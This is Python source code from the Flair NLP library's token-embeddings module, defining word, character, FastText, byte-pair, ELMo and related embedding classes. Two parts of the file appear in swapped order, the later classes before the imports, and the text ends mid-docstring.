if "config_state_dict" in d: # load transformer model model_type = d["config_state_dict"]["model_type"] if "model_type" in d["config_state_dict"] else "bert" config_class = CONFIG_MAPPING[model_type] loaded_config = config_class.from_dict(d["config_state_dict"]) # constructor arguments layers = ','.join([str(idx) for idx in self.__dict__['layer_indexes']]) # re-initialize transformer word embeddings with constructor arguments embedding = TransformerWordEmbeddings( model=self.__dict__['base_model_name'], layers=layers, subtoken_pooling=self.__dict__['subtoken_pooling'], use_context=self.__dict__['context_length'], layer_mean=self.__dict__['layer_mean'], fine_tune=self.__dict__['fine_tune'], allow_long_sentences=self.__dict__['allow_long_sentences'], respect_document_boundaries=self.__dict__['respect_document_boundaries'], memory_effective_training=self.__dict__['memory_effective_training'], context_dropout=self.__dict__['context_dropout'], config=loaded_config, state_dict=d["model_state_dict"], ) # I have no idea why this is necessary, but otherwise it doesn't work for key in embedding.__dict__.keys(): self.__dict__[key] = embedding.__dict__[key] else: # reload tokenizer to get around serialization issues model_name = self.__dict__['name'].split('transformer-word-')[-1] try: tokenizer = AutoTokenizer.from_pretrained(model_name) except: pass self.tokenizer = tokenizer class FastTextEmbeddings(TokenEmbeddings): """FastText Embeddings with oov functionality""" def __init__(self, embeddings: str, use_local: bool = True, field: str = None): """ Initializes fasttext word embeddings. Constructor downloads required embedding file and stores in cache if use_local is False. :param embeddings: path to your embeddings '.bin' file :param use_local: set this to False if you are using embeddings from a remote source """ self.instance_parameters = self.get_instance_parameters(locals=locals()) cache_dir = Path("embeddings") if use_local: if not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) else: embeddings = cached_path(f"{embeddings}", cache_dir=cache_dir) self.embeddings = embeddings self.name: str = str(embeddings) self.static_embeddings = True self.precomputed_word_embeddings = gensim.models.FastText.load_fasttext_format( str(embeddings) ) self.__embedding_length: int = self.precomputed_word_embeddings.vector_size self.field = field super().__init__() @property def embedding_length(self) -> int: return self.__embedding_length @instance_lru_cache(maxsize=10000, typed=False) def get_cached_vec(self, word: str) -> torch.Tensor: try: word_embedding = self.precomputed_word_embeddings[word] except: word_embedding = np.zeros(self.embedding_length, dtype="float") word_embedding = torch.tensor( word_embedding.tolist(), device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_embedding = self.get_cached_vec(word) token.set_embedding(self.name, word_embedding) return sentences def __str__(self): return self.name def extra_repr(self): return f"'{self.embeddings}'" class OneHotEmbeddings(TokenEmbeddings): """One-hot encoded embeddings. """ def __init__( self, corpus: Corpus, field: str = "text", embedding_length: int = 300, min_freq: int = 3, ): """ Initializes one-hot encoded word embeddings and a trainable embedding layer :param corpus: you need to pass a Corpus in order to construct the vocabulary :param field: by default, the 'text' of tokens is embedded, but you can also embed tags such as 'pos' :param embedding_length: dimensionality of the trainable embedding layer :param min_freq: minimum frequency of a word to become part of the vocabulary """ super().__init__() self.name = "one-hot" self.static_embeddings = False self.min_freq = min_freq self.field = field self.instance_parameters = self.get_instance_parameters(locals=locals()) tokens = list(map((lambda s: s.tokens), corpus.train)) tokens = [token for sublist in tokens for token in sublist] if field == "text": most_common = Counter(list(map((lambda t: t.text), tokens))).most_common() else: most_common = Counter( list(map((lambda t: t.get_tag(field).value), tokens)) ).most_common() tokens = [] for token, freq in most_common: if freq < min_freq: break tokens.append(token) self.vocab_dictionary: Dictionary = Dictionary() for token in tokens: self.vocab_dictionary.add_item(token) # max_tokens = 500 self.__embedding_length = embedding_length print(self.vocab_dictionary.idx2item) print(f"vocabulary size of {len(self.vocab_dictionary)}") # model architecture self.embedding_layer = torch.nn.Embedding( len(self.vocab_dictionary), self.__embedding_length ) torch.nn.init.xavier_uniform_(self.embedding_layer.weight) self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: one_hot_sentences = [] for i, sentence in enumerate(sentences): if self.field == "text": context_idxs = [ self.vocab_dictionary.get_idx_for_item(t.text) for t in sentence.tokens ] else: context_idxs = [ self.vocab_dictionary.get_idx_for_item(t.get_tag(self.field).value) for t in sentence.tokens ] one_hot_sentences.extend(context_idxs) one_hot_sentences = torch.tensor(one_hot_sentences, dtype=torch.long).to( flair.device ) embedded = self.embedding_layer.forward(one_hot_sentences) index = 0 for sentence in sentences: for token in sentence: embedding = embedded[index] token.set_embedding(self.name, embedding) index += 1 return sentences def __str__(self): return self.name def extra_repr(self): return "min_freq={}".format(self.min_freq) class HashEmbeddings(TokenEmbeddings): """Standard embeddings with Hashing Trick.""" def __init__( self, num_embeddings: int = 1000, embedding_length: int = 300, hash_method="md5" ): super().__init__() self.name = "hash" self.static_embeddings = False self.instance_parameters = self.get_instance_parameters(locals=locals()) self.__num_embeddings = num_embeddings self.__embedding_length = embedding_length self.__hash_method = hash_method # model architecture self.embedding_layer = torch.nn.Embedding( self.__num_embeddings, self.__embedding_length ) torch.nn.init.xavier_uniform_(self.embedding_layer.weight) self.to(flair.device) @property def num_embeddings(self) -> int: return self.__num_embeddings @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: def get_idx_for_item(text): hash_function = hashlib.new(self.__hash_method) hash_function.update(bytes(str(text), "utf-8")) return int(hash_function.hexdigest(), 16) % self.__num_embeddings hash_sentences = [] for i, sentence in enumerate(sentences): context_idxs = [get_idx_for_item(t.text) for t in sentence.tokens] hash_sentences.extend(context_idxs) hash_sentences = torch.tensor(hash_sentences, dtype=torch.long).to(flair.device) embedded = self.embedding_layer.forward(hash_sentences) index = 0 for sentence in sentences: for token in sentence: embedding = embedded[index] token.set_embedding(self.name, embedding) index += 1 return sentences def __str__(self): return self.name class MuseCrosslingualEmbeddings(TokenEmbeddings): def __init__(self, ): self.name: str = f"muse-crosslingual" self.static_embeddings = True self.__embedding_length: int = 300 self.language_embeddings = {} super().__init__() @instance_lru_cache(maxsize=10000, typed=False) def get_cached_vec(self, language_code: str, word: str) -> torch.Tensor: current_embedding_model = self.language_embeddings[language_code] if word in current_embedding_model: word_embedding = current_embedding_model[word] elif word.lower() in current_embedding_model: word_embedding = current_embedding_model[word.lower()] elif re.sub(r"\d", "#", word.lower()) in current_embedding_model: word_embedding = current_embedding_model[re.sub(r"\d", "#", word.lower())] elif re.sub(r"\d", "0", word.lower()) in current_embedding_model: word_embedding = current_embedding_model[re.sub(r"\d", "0", word.lower())] else: word_embedding = np.zeros(self.embedding_length, dtype="float") word_embedding = torch.tensor( word_embedding, device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): language_code = sentence.get_language_code() supported = [ "en", "de", "bg", "ca", "hr", "cs", "da", "nl", "et", "fi", "fr", "el", "he", "hu", "id", "it", "mk", "no", "pl", "pt", "ro", "ru", "sk", ] if language_code not in supported: language_code = "en" if language_code not in self.language_embeddings: log.info(f"Loading up MUSE embeddings for '{language_code}'!") # download if necessary hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/muse" cache_dir = Path("embeddings") / "MUSE" cached_path( f"{hu_path}/muse.{language_code}.vec.gensim.vectors.npy", cache_dir=cache_dir, ) embeddings_file = cached_path( f"{hu_path}/muse.{language_code}.vec.gensim", cache_dir=cache_dir ) # load the model self.language_embeddings[ language_code ] = gensim.models.KeyedVectors.load(str(embeddings_file)) for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_embedding = self.get_cached_vec( language_code=language_code, word=word ) token.set_embedding(self.name, word_embedding) return sentences @property def embedding_length(self) -> int: return self.__embedding_length def __str__(self): return self.name # TODO: keep for backwards compatibility, but remove in future class BPEmbSerializable(BPEmb): def __getstate__(self): state = self.__dict__.copy() # save the sentence piece model as binary file (not as path which may change) state["spm_model_binary"] = open(self.model_file, mode="rb").read() state["spm"] = None return state def __setstate__(self, state): from bpemb.util import sentencepiece_load model_file = self.model_tpl.format(lang=state["lang"], vs=state["vs"]) self.__dict__ = state # write out the binary sentence piece model into the expected directory self.cache_dir: Path = flair.cache_root / "embeddings" if "spm_model_binary" in self.__dict__: # if the model was saved as binary and it is not found on disk, write to appropriate path if not os.path.exists(self.cache_dir / state["lang"]): os.makedirs(self.cache_dir / state["lang"]) self.model_file = self.cache_dir / model_file with open(self.model_file, "wb") as out: out.write(self.__dict__["spm_model_binary"]) else: # otherwise, use normal process and potentially trigger another download self.model_file = self._load_file(model_file) # once the modes if there, load it with sentence piece state["spm"] = sentencepiece_load(self.model_file) class BytePairEmbeddings(TokenEmbeddings): def __init__( self, language: str = None, dim: int = 50, syllables: int = 100000, cache_dir=None, model_file_path: Path = None, embedding_file_path: Path = None, **kwargs, ): """ Initializes BP embeddings. Constructor downloads required files if not there. """ self.instance_parameters = self.get_instance_parameters(locals=locals()) if not cache_dir: cache_dir = flair.cache_root / "embeddings" if language: self.name: str = f"bpe-{language}-{syllables}-{dim}" else: assert ( model_file_path is not None and embedding_file_path is not None ), "Need to specify model_file_path and embedding_file_path if no language is given in BytePairEmbeddings(...)" dim = None self.embedder = BPEmbSerializable( lang=language, vs=syllables, dim=dim, cache_dir=cache_dir, model_file=model_file_path, emb_file=embedding_file_path, **kwargs, ) if not language: self.name: str = f"bpe-custom-{self.embedder.vs}-{self.embedder.dim}" self.static_embeddings = True self.__embedding_length: int = self.embedder.emb.vector_size * 2 super().__init__() @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value if word.strip() == "": # empty words get no embedding token.set_embedding( self.name, torch.zeros(self.embedding_length, dtype=torch.float) ) else: # all other words get embedded embeddings = self.embedder.embed(word.lower()) embedding = np.concatenate( (embeddings[0], embeddings[len(embeddings) - 1]) ) token.set_embedding( self.name, torch.tensor(embedding, dtype=torch.float) ) return sentences def __str__(self): return self.name def extra_repr(self): return "model={}".format(self.name) class ELMoEmbeddings(TokenEmbeddings): """Contextual word embeddings using word-level LM, as proposed in Peters et al., 2018. ELMo word vectors can be constructed by combining layers in different ways. Default is to concatene the top 3 layers in the LM.""" def __init__( self, model: str = "original", options_file: str = None, weight_file: str = None, embedding_mode: str = "all" ): super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) try: import allennlp.commands.elmo except ModuleNotFoundError: log.warning("-" * 100) log.warning('ATTENTION! The library "allennlp" is not installed!') log.warning( 'To use ELMoEmbeddings, please first install with "pip install allennlp==0.9.0"' ) log.warning("-" * 100) pass assert embedding_mode in ["all", "top", "average"] self.name = f"elmo-{model}-{embedding_mode}" self.static_embeddings = True if not options_file or not weight_file: # the default model for ELMo is the 'original' model, which is very large options_file = allennlp.commands.elmo.DEFAULT_OPTIONS_FILE weight_file = allennlp.commands.elmo.DEFAULT_WEIGHT_FILE # alternatively, a small, medium or portuguese model can be selected by passing the appropriate mode name if model == "small": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5" if model == "medium": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5" if model in ["large", "5.5B"]: options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x4096_512_2048cnn_2xhighway_5.5B/elmo_2x4096_512_2048cnn_2xhighway_5.5B_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x4096_512_2048cnn_2xhighway_5.5B/elmo_2x4096_512_2048cnn_2xhighway_5.5B_weights.hdf5" if model == "pt" or model == "portuguese": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pt/elmo_pt_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pt/elmo_pt_weights.hdf5" if model == "pubmed": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pubmed/elmo_2x4096_512_2048cnn_2xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pubmed/elmo_2x4096_512_2048cnn_2xhighway_weights_PubMed_only.hdf5" if embedding_mode == "all": self.embedding_mode_fn = self.use_layers_all elif embedding_mode == "top": self.embedding_mode_fn = self.use_layers_top elif embedding_mode == "average": self.embedding_mode_fn = self.use_layers_average # put on Cuda if available from flair import device if re.fullmatch(r"cuda:[0-9]+", str(device)): cuda_device = int(str(device).split(":")[-1]) elif str(device) == "cpu": cuda_device = -1 else: cuda_device = 0 self.ee = allennlp.commands.elmo.ElmoEmbedder( options_file=options_file, weight_file=weight_file, cuda_device=cuda_device ) # embed a dummy sentence to determine embedding_length dummy_sentence: Sentence = Sentence() dummy_sentence.add_token(Token("hello")) embedded_dummy = self.embed(dummy_sentence) self.__embedding_length: int = len( embedded_dummy[0].get_token(1).get_embedding() ) @property def embedding_length(self) -> int: return self.__embedding_length def use_layers_all(self, x): return torch.cat(x, 0) def use_layers_top(self, x): return x[-1] def use_layers_average(self, x): return torch.mean(torch.stack(x), 0) def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # ELMoEmbeddings before Release 0.5 did not set self.embedding_mode_fn if not getattr(self, "embedding_mode_fn", None): self.embedding_mode_fn = self.use_layers_all sentence_words: List[List[str]] = [] for sentence in sentences: sentence_words.append([token.text for token in sentence]) embeddings = self.ee.embed_batch(sentence_words) for i, sentence in enumerate(sentences): sentence_embeddings = embeddings[i] for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): elmo_embedding_layers = [ torch.FloatTensor(sentence_embeddings[0, token_idx, :]), torch.FloatTensor(sentence_embeddings[1, token_idx, :]), torch.FloatTensor(sentence_embeddings[2, token_idx, :]) ] word_embedding = self.embedding_mode_fn(elmo_embedding_layers) token.set_embedding(self.name, word_embedding) return sentences def extra_repr(self): return "model={}".format(self.name) def __str__(self): return self.name def __setstate__(self, state): self.__dict__ = state if re.fullmatch(r"cuda:[0-9]+", str(flair.device)): cuda_device = int(str(flair.device).split(":")[-1]) elif str(flair.device) == "cpu": cuda_device = -1 else: cuda_device = 0 self.ee.cuda_device = cuda_device self.ee.elmo_bilm.to(device=flair.device) self.ee.elmo_bilm._elmo_lstm._states = tuple( [state.to(flair.device) for state in self.ee.elmo_bilm._elmo_lstm._states]) class NILCEmbeddings(WordEmbeddings): def __init__(self, embeddings: str, model: str = "skip", size: int = 100): """ Initializes portuguese classic word embeddings trained by NILC Lab (http://www.nilc.icmc.usp.br/embeddings). Constructor downloads required files if not there. :param embeddings: one of: 'fasttext', 'glove', 'wang2vec' or 'word2vec' :param model: one of: 'skip' or 'cbow'. This is not applicable to glove. :param size: one of: 50, 100, 300, 600 or 1000. """ self.instance_parameters = self.get_instance_parameters(locals=locals()) base_path = "http://143.107.183.175:22980/download.php?file=embeddings/" cache_dir = Path("embeddings") / embeddings.lower() # GLOVE embeddings if embeddings.lower() == "glove": cached_path( f"{base_path}{embeddings}/{embeddings}_s{size}.zip", cache_dir=cache_dir ) embeddings = cached_path( f"{base_path}{embeddings}/{embeddings}_s{size}.zip", cache_dir=cache_dir ) elif embeddings.lower() in ["fasttext", "wang2vec", "word2vec"]: cached_path( f"{base_path}{embeddings}/{model}_s{size}.zip", cache_dir=cache_dir ) embeddings = cached_path( f"{base_path}{embeddings}/{model}_s{size}.zip", cache_dir=cache_dir ) elif not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) self.name: str = str(embeddings) self.static_embeddings = True log.info("Reading embeddings from %s" % embeddings) self.precomputed_word_embeddings = gensim.models.KeyedVectors.load_word2vec_format( open_inside_zip(str(embeddings), cache_dir=cache_dir) ) self.__embedding_length: int = self.precomputed_word_embeddings.vector_size super(TokenEmbeddings, self).__init__() @property def embedding_length(self) -> int: return self.__embedding_length def __str__(self): return self.name def replace_with_language_code(string: str): string = string.replace("arabic-", "ar-") string = string.replace("basque-", "eu-") string = string.replace("bulgarian-", "bg-") string = string.replace("croatian-", "hr-") string = string.replace("czech-", "cs-") string = string.replace("danish-", "da-") string = string.replace("dutch-", "nl-") string = string.replace("farsi-", "fa-") string = string.replace("persian-", "fa-") string = string.replace("finnish-", "fi-") string = string.replace("french-", "fr-") string = string.replace("german-", "de-") string = string.replace("hebrew-", "he-") string = string.replace("hindi-", "hi-") string = string.replace("indonesian-", "id-") string = string.replace("italian-", "it-") string = string.replace("japanese-", "ja-") string = string.replace("norwegian-", "no") string = string.replace("polish-", "pl-") string = string.replace("portuguese-", "pt-") string = string.replace("slovenian-", "sl-") string = string.replace("spanish-", "es-") string = string.replace("swedish-", "sv-") return string
import hashlib import inspect import logging import os import re from abc import abstractmethod from collections import Counter from pathlib import Path from typing import List, Union, Dict, Optional import gensim import numpy as np import torch from bpemb import BPEmb from torch import nn from transformers import AutoTokenizer, AutoConfig, AutoModel, CONFIG_MAPPING, PreTrainedTokenizer, XLNetModel, \ TransfoXLModel import flair from flair.data import Sentence, Token, Corpus, Dictionary from flair.embeddings.base import Embeddings from flair.file_utils import cached_path, open_inside_zip, instance_lru_cache log = logging.getLogger("flair") class TokenEmbeddings(Embeddings): """Abstract base class for all token-level embeddings. Ever new type of word embedding must implement these methods.""" @property @abstractmethod def embedding_length(self) -> int: """Returns the length of the embedding vector.""" pass @property def embedding_type(self) -> str: return "word-level" @staticmethod def get_instance_parameters(locals: dict) -> dict: class_definition = locals.get("__class__") instance_parameters = set(inspect.getfullargspec(class_definition.__init__).args) instance_parameters.difference_update(set(["self"])) instance_parameters.update(set(["__class__"])) instance_parameters = {class_attribute: attribute_value for class_attribute, attribute_value in locals.items() if class_attribute in instance_parameters} return instance_parameters class StackedEmbeddings(TokenEmbeddings): """A stack of embeddings, used if you need to combine several different embedding types.""" def __init__(self, embeddings: List[TokenEmbeddings]): """The constructor takes a list of embeddings to be combined.""" super().__init__() self.embeddings = embeddings # IMPORTANT: add embeddings as torch modules for i, embedding in enumerate(embeddings): embedding.name = f"{str(i)}-{embedding.name}" self.add_module(f"list_embedding_{str(i)}", embedding) self.name: str = "Stack" self.static_embeddings: bool = True self.__embedding_type: str = embeddings[0].embedding_type self.__embedding_length: int = 0 for embedding in embeddings: self.__embedding_length += embedding.embedding_length def embed( self, sentences: Union[Sentence, List[Sentence]], static_embeddings: bool = True ): # if only one sentence is passed, convert to list of sentence if type(sentences) is Sentence: sentences = [sentences] for embedding in self.embeddings: embedding.embed(sentences) @property def embedding_type(self) -> str: return self.__embedding_type @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for embedding in self.embeddings: embedding._add_embeddings_internal(sentences) return sentences def __str__(self): return f'StackedEmbeddings [{",".join([str(e) for e in self.embeddings])}]' def get_names(self) -> List[str]: """Returns a list of embedding names. In most cases, it is just a list with one item, namely the name of this embedding. But in some cases, the embedding is made up by different embeddings (StackedEmbedding). Then, the list contains the names of all embeddings in the stack.""" names = [] for embedding in self.embeddings: names.extend(embedding.get_names()) return names def get_named_embeddings_dict(self) -> Dict: named_embeddings_dict = {} for embedding in self.embeddings: named_embeddings_dict.update(embedding.get_named_embeddings_dict()) return named_embeddings_dict class WordEmbeddings(TokenEmbeddings): """Standard static word embeddings, such as GloVe or FastText.""" def __init__(self, embeddings: str, field: str = None, fine_tune: bool = False, force_cpu: bool = True, stable: bool = False): """ Initializes classic word embeddings. Constructor downloads required files if not there. :param embeddings: one of: 'glove', 'extvec', 'crawl' or two-letter language code or custom If you want to use a custom embedding file, just pass the path to the embeddings as embeddings variable. set stable=True to use the stable embeddings as described in https://arxiv.org/abs/2110.02861 """ self.embeddings = embeddings self.instance_parameters = self.get_instance_parameters(locals=locals()) if fine_tune and force_cpu and flair.device.type != "cpu": raise ValueError("Cannot train WordEmbeddings on cpu if the model is trained on gpu, set force_cpu=False") hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/token" cache_dir = Path("embeddings") # GLOVE embeddings if embeddings.lower() == "glove" or embeddings.lower() == "en-glove": cached_path(f"{hu_path}/glove.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/glove.gensim", cache_dir=cache_dir) # TURIAN embeddings elif embeddings.lower() == "turian" or embeddings.lower() == "en-turian": cached_path(f"{hu_path}/turian.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/turian", cache_dir=cache_dir) # KOMNINOS embeddings elif embeddings.lower() == "extvec" or embeddings.lower() == "en-extvec": cached_path(f"{hu_path}/extvec.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/extvec.gensim", cache_dir=cache_dir) # pubmed embeddings elif embeddings.lower() == "pubmed" or embeddings.lower() == "en-pubmed": cached_path(f"{hu_path}/pubmed_pmc_wiki_sg_1M.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/pubmed_pmc_wiki_sg_1M.gensim", cache_dir=cache_dir) # FT-CRAWL embeddings elif embeddings.lower() == "crawl" or embeddings.lower() == "en-crawl": cached_path(f"{hu_path}/en-fasttext-crawl-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/en-fasttext-crawl-300d-1M", cache_dir=cache_dir) # FT-CRAWL embeddings elif embeddings.lower() in ["news", "en-news", "en"]: cached_path(f"{hu_path}/en-fasttext-news-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/en-fasttext-news-300d-1M", cache_dir=cache_dir) # twitter embeddings elif embeddings.lower() in ["twitter", "en-twitter"]: cached_path(f"{hu_path}/twitter.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/twitter.gensim", cache_dir=cache_dir) # two-letter language code wiki embeddings elif len(embeddings.lower()) == 2: cached_path(f"{hu_path}/{embeddings}-wiki-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings}-wiki-fasttext-300d-1M", cache_dir=cache_dir) # two-letter language code wiki embeddings elif len(embeddings.lower()) == 7 and embeddings.endswith("-wiki"): cached_path(f"{hu_path}/{embeddings[:2]}-wiki-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings[:2]}-wiki-fasttext-300d-1M", cache_dir=cache_dir) # two-letter language code crawl embeddings elif len(embeddings.lower()) == 8 and embeddings.endswith("-crawl"): cached_path(f"{hu_path}/{embeddings[:2]}-crawl-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings[:2]}-crawl-fasttext-300d-1M", cache_dir=cache_dir) elif not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) self.name: str = str(embeddings) self.static_embeddings = not fine_tune self.fine_tune = fine_tune self.force_cpu = force_cpu self.field = field self.stable = stable super().__init__() if str(embeddings).endswith(".bin"): precomputed_word_embeddings = gensim.models.KeyedVectors.load_word2vec_format( str(embeddings), binary=True ) else: precomputed_word_embeddings = gensim.models.KeyedVectors.load( str(embeddings) ) self.__embedding_length: int = precomputed_word_embeddings.vector_size vectors = np.row_stack( (precomputed_word_embeddings.vectors, np.zeros(self.__embedding_length, dtype="float")) ) self.embedding = nn.Embedding.from_pretrained(torch.FloatTensor(vectors), freeze=not fine_tune) self.vocab = { k: v.index for k, v in precomputed_word_embeddings.vocab.items() } if stable: self.layer_norm = nn.LayerNorm(self.__embedding_length, elementwise_affine=fine_tune) else: self.layer_norm = None self.device = None self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length @instance_lru_cache(maxsize=100000, typed=False) def get_cached_token_index(self, word: str) -> int: if word in self.vocab: return self.vocab[word] elif word.lower() in self.vocab: return self.vocab[word.lower()] elif re.sub(r"\d", "#", word.lower()) in self.vocab: return self.vocab[ re.sub(r"\d", "#", word.lower()) ] elif re.sub(r"\d", "0", word.lower()) in self.vocab: return self.vocab[ re.sub(r"\d", "0", word.lower()) ] else: return len(self.vocab) # <unk> token def get_vec(self, word: str) -> torch.Tensor: word_embedding = self.vectors[self.get_cached_token_index(word)] word_embedding = torch.tensor( word_embedding.tolist(), device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: tokens = [token for sentence in sentences for token in sentence.tokens] word_indices: List[int] = [] for token in tokens: if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_indices.append(self.get_cached_token_index(word)) embeddings = self.embedding(torch.tensor(word_indices, dtype=torch.long, device=self.device)) if self.stable: embeddings = self.layer_norm(embeddings) if self.force_cpu: embeddings = embeddings.to(flair.device) for emb, token in zip(embeddings, tokens): token.set_embedding(self.name, emb) return sentences def __str__(self): return self.name def extra_repr(self): # fix serialized models if "embeddings" not in self.__dict__: self.embeddings = self.name return f"'{self.embeddings}'" def train(self, mode=True): if not self.fine_tune: pass else: super(WordEmbeddings, self).train(mode) def to(self, device): if self.force_cpu: device = torch.device("cpu") self.device = device super(WordEmbeddings, self).to(device) def _apply(self, fn): if fn.__name__ == "convert" and self.force_cpu: # this is required to force the module on the cpu, # if a parent module is put to gpu, the _apply is called to each sub_module # self.to(..) actually sets the device properly if not hasattr(self, "device"): self.to(flair.device) return super(WordEmbeddings, self)._apply(fn) def __getattribute__(self, item): # this ignores the get_cached_vec method when loading older versions # it is needed for compatibility reasons if "get_cached_vec" == item: return None return super().__getattribute__(item) def __setstate__(self, state): if "get_cached_vec" in state: del state["get_cached_vec"] if "force_cpu" not in state: state["force_cpu"] = True if "fine_tune" not in state: state["fine_tune"] = False if "precomputed_word_embeddings" in state: precomputed_word_embeddings = state.pop("precomputed_word_embeddings") vectors = np.row_stack( (precomputed_word_embeddings.vectors, np.zeros(precomputed_word_embeddings.vector_size, dtype="float")) ) embedding = nn.Embedding.from_pretrained(torch.FloatTensor(vectors), freeze=not state["fine_tune"]) vocab = { k: v.index for k, v in precomputed_word_embeddings.vocab.items() } state["embedding"] = embedding state["vocab"] = vocab if "stable" not in state: state["stable"] = False state["layer_norm"] = None super().__setstate__(state) class CharacterEmbeddings(TokenEmbeddings): """Character embeddings of words, as proposed in Lample et al., 2016.""" def __init__( self, path_to_char_dict: str = None, char_embedding_dim: int = 25, hidden_size_char: int = 25, ): """Uses the default character dictionary if none provided.""" super().__init__() self.name = "Char" self.static_embeddings = False self.instance_parameters = self.get_instance_parameters(locals=locals()) # use list of common characters if none provided if path_to_char_dict is None: self.char_dictionary: Dictionary = Dictionary.load("common-chars") else: self.char_dictionary: Dictionary = Dictionary.load_from_file(path_to_char_dict) self.char_embedding_dim: int = char_embedding_dim self.hidden_size_char: int = hidden_size_char self.char_embedding = torch.nn.Embedding( len(self.char_dictionary.item2idx), self.char_embedding_dim ) self.char_rnn = torch.nn.LSTM( self.char_embedding_dim, self.hidden_size_char, num_layers=1, bidirectional=True, ) self.__embedding_length = self.hidden_size_char * 2 self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]): for sentence in sentences: tokens_char_indices = [] # translate words in sentence into ints using dictionary for token in sentence.tokens: char_indices = [ self.char_dictionary.get_idx_for_item(char) for char in token.text ] tokens_char_indices.append(char_indices) # sort words by length, for batching and masking tokens_sorted_by_length = sorted( tokens_char_indices, key=lambda p: len(p), reverse=True ) d = {} for i, ci in enumerate(tokens_char_indices): for j, cj in enumerate(tokens_sorted_by_length): if ci == cj: d[j] = i continue chars2_length = [len(c) for c in tokens_sorted_by_length] longest_token_in_sentence = max(chars2_length) tokens_mask = torch.zeros( (len(tokens_sorted_by_length), longest_token_in_sentence), dtype=torch.long, device=flair.device, ) for i, c in enumerate(tokens_sorted_by_length): tokens_mask[i, : chars2_length[i]] = torch.tensor( c, dtype=torch.long, device=flair.device ) # chars for rnn processing chars = tokens_mask character_embeddings = self.char_embedding(chars).transpose(0, 1) packed = torch.nn.utils.rnn.pack_padded_sequence( character_embeddings, chars2_length ) lstm_out, self.hidden = self.char_rnn(packed) outputs, output_lengths = torch.nn.utils.rnn.pad_packed_sequence(lstm_out) outputs = outputs.transpose(0, 1) chars_embeds_temp = torch.zeros( (outputs.size(0), outputs.size(2)), dtype=torch.float, device=flair.device, ) for i, index in enumerate(output_lengths): chars_embeds_temp[i] = outputs[i, index - 1] character_embeddings = chars_embeds_temp.clone() for i in range(character_embeddings.size(0)): character_embeddings[d[i]] = chars_embeds_temp[i] for token_number, token in enumerate(sentence.tokens): token.set_embedding(self.name, character_embeddings[token_number]) def __str__(self): return self.name class FlairEmbeddings(TokenEmbeddings): """Contextual string embeddings of words, as proposed in Akbik et al., 2018.""" def __init__(self, model, fine_tune: bool = False, chars_per_chunk: int = 512, with_whitespace: bool = True, tokenized_lm: bool = True, is_lower: bool = False, ): """ initializes contextual string embeddings using a character-level language model. :param model: model string, one of 'news-forward', 